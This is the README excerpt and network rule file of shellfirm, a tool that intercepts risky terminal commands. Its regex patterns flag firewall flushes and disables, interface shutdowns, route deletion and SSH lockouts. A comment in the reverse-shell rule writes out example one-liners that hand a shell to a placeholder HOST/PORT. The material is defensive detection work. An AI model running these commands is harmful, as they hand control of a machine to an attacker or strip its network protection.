shellfirm 0.4.0

`shellfirm` will intercept any risky patterns (default or defined by you) and prompt you a small challenge for double verification, kinda like a captcha for your terminal.
Documentation
- from: network
  # Any option order: `-w -F`, `--flush`, `-t filter -F`, `iptables-legacy -F`.
  test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-[a-zA-Z]*F[a-zA-Z]*|--flush)(?:\s|$)
  description: "This flushes all firewall rules."
  id: network:flush_iptables
  severity: Critical
  filters:
    # Other tables are covered by network:flush_nat_rules.
    - type: NotMatches
      value: '\s(?:-t|--table)(?:\s+|=)?(?:nat|mangle|raw|security)(?:\s|$)'
- from: network
  test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-X|--delete-chain)(?:\s|$)
  description: "This deletes all custom firewall chains."
  id: network:delete_custom_chains
  severity: High
- from: network
  test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-t|--table)(?:\s+|=)?nat\s+(?:\S+\s+)*?(?:-[a-zA-Z]*F[a-zA-Z]*|--flush)(?:\s|$)
  description: "This flushes all NAT rules."
  id: network:flush_nat_rules
  severity: High
- from: network
  test: (?:^|\s)ufw\s+disable(\s|$)
  description: "This disables the firewall."
  id: network:disable_firewall
  severity: Critical
- from: network
  test: (?:^|\s)ufw\s+(?:--force\s+)?reset(?:\s|$)
  description: "This resets the firewall: every rule is removed and the firewall is disabled."
  id: network:force_reset_firewall
  severity: Critical
- from: network
  test: (?:^|\s)systemctl\s+stop\s+networking
  description: "This stops the networking service."
  id: network:stop_networking
  severity: High
- from: network
  test: (?:^|\s)systemctl\s+stop\s+NetworkManager
  description: "This stops NetworkManager."
  id: network:stop_network_manager
  severity: High
- from: network
  test: (?:^|\s)ifconfig\s+\w+\s+down
  description: "This brings a network interface down."
  id: network:bring_down_interface
  severity: High
- from: network
  test: (?:^|\s)ip\s+link\s+set\s+[\w-]+\s+down
  description: "This brings a network interface down."
  id: network:bring_down_interface_ip
  severity: High
- from: network
  test: (?:^|\s)route\s+del\s+default
  description: "This deletes the default network route."
  id: network:delete_default_route
  severity: High
- from: network
  test: (?:^|\s)nft\s+flush\s+ruleset
  description: "Flushing all nftables rules removes all firewall protection."
  id: network:flush_nftables
  severity: Critical
- from: network
  test: (?:^|\s)ip\s+route\s+flush
  description: "Flushing the routing table causes immediate loss of network connectivity."
  id: network:flush_routes
  severity: Critical
- from: network
  # A DROP default policy on INPUT/OUTPUT cuts the machine off (including the
  # SSH session that typed it) unless ACCEPT rules already exist.
  test: (?:^|\s)ip6?tables\s+(?:\S+\s+)*?(?:-P|--policy)\s+(?:INPUT|OUTPUT|FORWARD)\s+(?:DROP|REJECT)(?:\s|$)
  description: "This sets the default firewall policy to DROP, which can cut off all traffic, including your SSH session."
  id: network:iptables_default_drop
  severity: High
- from: network
  # A catch-all DROP/REJECT appended/inserted on INPUT with no match criteria
  # before `-j` (`iptables -A INPUT -j DROP`) drops every incoming packet, the
  # same lockout as a DROP policy. A rule that first matches a host or port
  # (`-A INPUT -s 1.2.3.4 -j DROP`) is specific and is not flagged.
  test: (?:^|\s)ip6?tables(?:-legacy|-nft)?\s+(?:\S+\s+)*?(?:-A|-I|--append|--insert)\s+INPUT\s+-j\s+(?:DROP|REJECT)(?:\s|$)
  description: "This appends a catch-all DROP/REJECT rule to INPUT, dropping all incoming traffic including your SSH session."
  id: network:iptables_drop_all_input
  severity: High
- from: network
  # A reverse shell: an interactive shell wired to a TCP connection
  # (`bash -i >& /dev/tcp/HOST/PORT 0>&1`), `nc -e /bin/sh`, `ncat -c`,
  # `socat … exec:`, or the python pty one-liner. A plain `/dev/tcp` port
  # probe (`</dev/tcp/host/22`) is not one.
  test: '(?:(?:^|\s)(?:ba|z|k|da)?sh\s+(?:-\S+\s+)*-i\b.*/dev/(?:tcp|udp)/|/dev/(?:tcp|udp)/\S+.*\s0>&1|(?:^|\s)(?:nc|ncat|netcat|nc\.traditional)\s+(?:\S+\s+)*?-[a-zA-Z]*[ec]\s*\S|(?:^|\s)socat\s+.*\b(?:exec|system):|\bpty\.spawn\(|\bsocket\.socket\(.*\.connect\()'
  description: "This opens a reverse shell: it hands an interactive shell on this machine to whoever listens at the remote address."
  id: network:reverse_shell
  severity: High
- from: network
  test: (?:^|\s)ip\s+(?:-\S+\s+)*(?:a|addr|address)\s+(?:flush|del)\s
  description: "This removes the IP addresses of a network interface: the machine (and your SSH session) loses connectivity on it."
  id: network:flush_addresses
  severity: High
- from: network
  # With incoming denied by default and no `allow ssh` rule, enabling ufw
  # cuts off the SSH session that typed it.
  test: (?:^|\s)ufw\s+(?:--\S+\s+)*default\s+(?:deny|reject)(?:\s+(?:incoming|in))?(?:\s|$)
  description: "This makes the firewall refuse all incoming connections by default, including SSH unless a rule allows it."
  id: network:ufw_default_deny
  severity: High
  alternative: "ufw allow OpenSSH"
  alternative_info: "Allow SSH first (then set the default policy), so the session that changes the firewall is not cut off."
- from: network
  # Windows firewall turned off: `netsh advfirewall set … state off`, the
  # legacy `netsh firewall set opmode disable`, or `Set-NetFirewallProfile
  # -Enabled False`. Parity with the Critical `ufw disable`.
  test: '(?i)(?:^|\s)(?:netsh(?:\.exe)?\s+advfirewall\s+set\s+\S+\s+state\s+off|netsh(?:\.exe)?\s+firewall\s+set\s+opmode\s+(?:mode=)?disable|Set-NetFirewallProfile\s+(?:\S+\s+)*?-Enabled[:\s]+(?:False|0)\b)'
  description: "This turns the Windows firewall off, leaving every port open."
  id: network:disable_firewall_windows
  severity: Critical